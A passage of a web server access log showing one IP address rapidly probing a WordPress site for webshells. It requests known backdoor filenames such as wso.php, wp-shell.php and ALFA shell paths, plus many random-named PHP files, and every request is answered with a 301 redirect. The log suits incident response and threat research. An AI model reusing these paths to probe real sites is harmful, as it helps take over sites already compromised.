/wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:16 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:16 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:17 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:17 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:17 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:18 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:18 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:19 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:19 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:20 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:20 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:20 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:21 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:21 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:22 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:22 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:22 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:23 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:24 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:24 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:24 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:25 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:25 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:25 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:26 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:26 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:26 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:27 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:27 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:28 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:28 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:28 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:29 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:29 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:30 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:30 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:30 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:31 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:31 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:32 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:32 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:32 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:33 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:33 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:34 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:34 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:34 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:35 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:35 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:36 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:36 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:36 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:37 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:37 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:37 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:38 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:38 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:39 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:39 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:39 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:40 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:40 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:40 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:41 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:41 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:42 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:42 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:42 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:43 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:43 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:44 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:44 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:44 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:45 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:45 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:46 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:46 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:46 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:47 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:47 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:47 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:48 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:48 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:49 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:49 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:49 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:50 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:50 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:51 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:51 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:51 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:52 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:52 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:53 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:53 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:54 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:54 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:54 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:55 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:55 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:56 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:56 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:56 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:57 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:57 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:58 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:58 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:59 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:59 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:59 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:00 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:00 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:01 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:01 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:01 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:02 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:02 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:03 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:03 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:03 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:04 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:04 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:05 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:05 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:06 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:06 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:06 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:07 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:07 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:08 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:08 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:08 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:09 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:09 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:09 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:10 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:10 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:11 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:11 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:11 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:12 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:12 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:13 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:13 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:13 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:14 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:14 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:15 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:15 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:16 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:16 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:17 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:17 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:18 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:18 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:19 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:19 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:20 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:20 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:22 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:23 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:23 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:24 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:25 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:25 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:25 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:26 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:26 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:27 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:27 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:27 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:28 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:28 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:29 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:29 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:30 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:30 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:31 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:31 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:31 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:32 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:32 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:33 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:33 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:33 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:34 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:34 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:35 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:35 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:36 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:36 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:37 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:37 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:37 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:38 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:38 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:39 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:39 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:39 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:40 -0400] "GET 